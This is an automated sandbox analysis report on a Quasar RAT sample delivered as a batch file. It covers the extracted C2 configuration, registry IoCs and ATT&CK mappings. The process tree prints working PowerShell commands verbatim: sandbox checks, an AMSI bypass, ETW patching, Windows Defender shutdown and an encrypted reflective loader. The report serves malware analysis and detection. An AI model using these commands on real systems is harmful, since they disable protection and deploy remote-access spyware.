quasar | bed39fc7897d400ca51a382f7629f687eb75ea9d7cd0bfefd1e5be4c23145c05

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/02/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Loli.bat
Size 11.5MB
Sample260223-thm1wsax6e
SHA256 bed39fc7897d400ca51a382f7629f687eb75ea9d7cd0bfefd1e5be4c23145c05
MD5 968c3f7cd908b76832e71f59eeff94e2
SHA1 a1868c1150260c5ed0a1931e29cd1857a67bc190
SHA512 8f630f936e7cd6a03bdf27dff842ae7c8f40d551fdecc0da0ef26accd1c8f10b28a27b3a40c7b9a4e65cb68a3509a7f6fed7ebf0eb32230bbc6b38e99a8a5497
SSDEEP 49152:dSna3saOVf2XSxH2Me4zBqbEFIU3n8Pzok7vK8nMu4+BNQ5uUiyVsHfwplVk8cbe:4
TLSH
T143C623771E363899784A78B942BD7C2B9F2104300B5FEDA2C1F2279A2D5FD190F4395A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

onichan~defense_evasion discovery evasion execution quasar spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.5.2

Botnet

OniCHAN~

aimbotfr-43342.portmap.host:43342

Mutex

a2d36a28-ece8-420c-a406-5106c3e257a2

Attributes

encryption_key
2568EDBF429D4745FE7EC67848063D60B82823D8
install_name
Client.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
5000
startup_key
Quasar Modded Client Startup
subdirectory
SubDir

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	powershell.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	powershell.exe

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2044-200-0x00000261F7D50000-0x00000261F7E08000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2272	powershell.exe
1552	powershell.exe
2572	powershell.exe
4892	powershell.exe
2044	powershell.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1552	powershell.exe
2572	powershell.exe
4892	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
352	cmd.exe
620	PING.EXE

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
620	PING.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3392	powershell.exe
3392	powershell.exe
2360	powershell.exe
2360	powershell.exe
2272	powershell.exe
2272	powershell.exe
1552	powershell.exe
1552	powershell.exe
2572	powershell.exe
2572	powershell.exe
4892	powershell.exe
4892	powershell.exe
2044	powershell.exe
2044	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	1552	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeRestorePrivilege	2044	powershell.exe
Token: SeBackupPrivilege	2044	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3508 wrote to memory of 3392	3508	cmd.exe	83
PID 3508 wrote to memory of 2360	3508	cmd.exe	86
PID 3508 wrote to memory of 2272	3508	cmd.exe	87
PID 3508 wrote to memory of 1552	3508	cmd.exe	88
PID 3508 wrote to memory of 2572	3508	cmd.exe	89
PID 3508 wrote to memory of 4892	3508	cmd.exe	90
PID 3508 wrote to memory of 2044	3508	cmd.exe	91
PID 2044 wrote to memory of 832	2044	powershell.exe	92
PID 3508 wrote to memory of 352	3508	cmd.exe	94
PID 352 wrote to memory of 620	352	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w h -c "$m=(Get-WmiObject Win32_ComputerSystem).Manufacturer; if($m -match 'DADY|VMware|VirtualBox|QEMU|Xen|Parallels'){exit 1}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w h -c "$m=(Get-WmiObject Win32_ComputerSystem).Model; if($m -match 'Virtual'){exit 1}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -nop -c "[Ref].Assembly.GetType('Sy'+'stem.Manage'+'ment.Autom'+'ation.'+[char]65+[char]109+'siU'+'tils').GetField([char]97+'ms'+'iIn'+'itFa'+'iled','NonPublic,Static').SetValue($null,$true)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -nop -c "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Force -ErrorAction SilentlyContinue | Out-Null; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name 'DisableAntiSpyware' -Value 1 -ErrorAction SilentlyContinue"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -nop -c "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Force -ErrorAction SilentlyContinue | Out-Null; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableRealtimeMonitoring' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableBehaviorMonitoring' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableOnAccessProtection' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableScanOnRealtimeEnable' -Value 1 -ErrorAction SilentlyContinue"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -nop -c "Stop-Service -Name 'WinDefend' -Force -ErrorAction SilentlyContinue; Set-Service -Name 'WinDefend' -StartupType Disabled -ErrorAction SilentlyContinue; Stop-Service -Name 'Sense' -Force -ErrorAction SilentlyContinue; Set-Service -Name 'Sense' -StartupType Disabled -ErrorAction SilentlyContinue; Stop-Service -Name 'WdNisSvc' -Force -ErrorAction SilentlyContinue; Set-Service -Name 'WdNisSvc' -StartupType Disabled -ErrorAction SilentlyContinue; Stop-Service -Name 'WdFilter' -Force -ErrorAction SilentlyContinue; Set-Service -Name 'WdFilter' -StartupType Disabled -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -w h -nop -c "& { try{[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}catch{}; try{[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)}catch{}; $b64 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\KgtTXMdkLx.txt' -Raw; $b64 = $b64 -replace '[\r\n]',''; $encBytes = [System.Convert]::FromBase64String($b64); [array]::Reverse($encBytes); $key = 0xAA; $bytes = New-Object byte[] $encBytes.Length; for($i=0; $i -lt $encBytes.Length; $i++){ $bytes[$i] = $encBytes[$i] -bxor $key }; $asm = [System.Reflection.Assembly]::Load($bytes); $entry = $asm.EntryPoint; if($entry -ne $null){ $entry.Invoke($null, @(,[string[]]@())) } else { $types = $asm.GetTypes(); foreach($type in $types){ $methods = $type.GetMethods([System.Reflection.BindingFlags]'Public,Static'); foreach($method in $methods){ if($method.Name -eq 'Main'){ $method.Invoke($null, @(,[string[]]@())); break; } } } } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2044" "2356" "2316" "2352" "0" "0" "2360" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:832
- C:\Windows\system32\cmd.exe
  cmd /c "ping localhost -n 8 >nul 2>&1 & del /f /q "C:\Users\Admin\AppData\Local\Temp\KgtTXMdkLx.txt" >nul 2>&1"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:352
- - C:\Windows\system32\PING.EXE
    ping localhost -n 8
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:620

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...